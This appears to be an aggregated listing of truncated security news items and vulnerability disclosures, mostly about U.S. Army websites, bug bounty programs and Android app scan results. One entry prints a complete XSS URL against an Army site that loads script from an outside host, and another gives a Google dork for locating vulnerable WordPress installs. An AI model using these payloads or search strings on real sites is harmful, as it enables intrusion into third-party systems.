U.S. Dept Of Defense: DOM Based XSS on an Army website

A U.S. Army website was vulnerable to a DOM based cross-site scripting attack which may be used to trick a web user into executing a malicious script, potentially revealing a user's browser cookies or modify web content. juliocesar was able to demonstrate this vulnerability by crafting a speciall...

U.S. Dept Of Defense: Remote code execution on an Army website

A webserver hosted by the U.S. Army allowed the execution of local shell commands. meals was able to demonstrate this vulnerability by crafting a specially formatted URL. Thanks meals!...

U.S. Dept Of Defense: XSS vulnerability on an Army website

A U.S. Army website was vulnerable to a cross-site scripting attack which may be used to trick a web user into executing a malicious script, potentially revealing a user's browser cookies or modify web content. spam404 was able to demonstrate this vulnerability by crafting a specially formatted...

U.S. Dept Of Defense: Reflected XSS on an Army website

A U.S. Army website was vulnerable to a cross-site scripting attack which may be used to trick a web user into executing a malicious script, potentially revealing a user's browser cookies or modify web content. juliocesar was able to demonstrate this vulnerability by crafting a specially formatte...

DoD Publishes Vulnerability Disclosure Policy

The Department of Defense promised upon the inception of the Hack the Pentagon bug bounty program that it would continue to engage white-hats. Hack the Pentagon set the tone with more than 1,400 participants and 138 vulnerabilities resolved during the 24-day trial during the spring. Two weeks ago...

Hack the Army Bug Bounty Focuses on Recruiting Websites

The backdrop to the U.S. government’s first public-facing bug bounty program announced earlier this year was that the Hack the Pentagon program was a way to connect with legitimate researchers and make a subtle plea for help. On Friday, Veterans Day, the U.S. Army became the second critical agenc...

37-Year-Old 'Syrian Electronic Army' Hacker Pleads Guilty in US court

One of the FBI's Most Wanted Hackers who was arrested in Germany earlier this year has pleaded guilty to federal charges for his role in a scheme that hacked computers and targeted the US government, foreign governments, and multiple US media outlets. Peter Romar, 37, pleaded guilty Wednesday in ...

army-shopy.cz Open Redirect vulnerability

Open Bug Bounty ID: OBB-146271 Description| Value ---|--- Affected Website:| army-shopy.cz Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:L/A:N Remediation Guide:| OWASP Open Redirect Cheat Sheet Vulnerab...

Army of Heroes - Dangerous filesystem permissions, WebView SSL handling enabled, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Army of Heroes published at the 'play' market has multiple vulnerabilities...

Army Extreme Car Driving 3D - Customized SSL, WebView SSL handling enabled, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Army Extreme Car Driving 3D published at the 'play' market has multiple vulnerabilities...

Parking 3D - Army parking war - Dynamic Code Loading, External URLs, Native code usage vulnerabilities

HackApp vulnerability scanner discovered that application Parking 3D - Army parking war published at the 'play' market has multiple vulnerabilities...

Army Parking Wars: WW2 - Customized SSL, WebView SSL handling enabled, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Army Parking Wars: WW2 published at the 'play' market has multiple vulnerabilities...

Army Sniper - Dynamic Code Loading, External URLs, Unsafe deleting vulnerabilities

HackApp vulnerability scanner discovered that application Army Sniper published at the 'play' market has multiple vulnerabilities...

Modern Army Sniper Shooter - Customized SSL, Dangerous filesystem permissions vulnerabilities

HackApp vulnerability scanner discovered that application Modern Army Sniper Shooter published at the 'play' market has multiple vulnerabilities...

Army Knife for Android - Exported components vulnerabilities

HackApp vulnerability scanner discovered that application Army Knife for Android published at the 'play' market has multiple vulnerabilities...

FBI Most Wanted — Three 'Syrian Electronic Army' Hackers Charged for Cyber Crime

Syrian Electronic Army SEA Hackers have made their place on the FBI's Most Wanted List. The US Department of Justice and the Federal Bureau of Investigation FBI are willing to pay $100,000 reward for any information that leads to the arrest of the heads of the infamous hacking group Syrian...

Another ISIS Hacker Killed by U.S Drone Strike in Syria

A British-educated businessman who later joined Islamic State ISIS militant group in Syria has been killed in a US drone strike. Siful Haque Sujan, a Bangladesh-born man, was killed on 10 December 2015 by a US drone strike near Raqqa, Syria. Sujan has been described as one of the ISIS's top...

apd.army.mil XSS vulnerability

Vulnerable URL: http://www.apd.army.mil/AdminPubs/searchtitlenumberpubs.asp?xradio=pubnum=%22%3E%3C/title%3E%3Cscript/src=%22//www.xssposed.org/1.JS%22%3E%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.06.2016 Latest check for patch:| 25.06.2016 11:02 GMT Vulnerability type...

WordPress Theme GeoPlaces3 - Arbitrary File Upload

WordPress Theme GeoPlaces3 - Arbitrary File Upload Description : Wordpress Themes GeoPlaces3 - Arbitrary File Upload vulnerbility Google Dork: inurl:/wp-content/themes/GeoPlaces3/ Date: 23 August 2015 Vendor Homepage: http://templatic.com/app-themes/geo-places-city-directory-wordpress-theme Teste...

[SECURITY] Fedora 22 Update: wesnoth-1.12.4-1.fc22

The Battle for Wesnoth is a turn-based strategy game with a fantasy theme. Build up a great army, gradually turning raw recruits into hardened veterans. In later games, recall your toughest warriors and form a deadly host against whom none can stand. Choose units from a large pool of specialists,...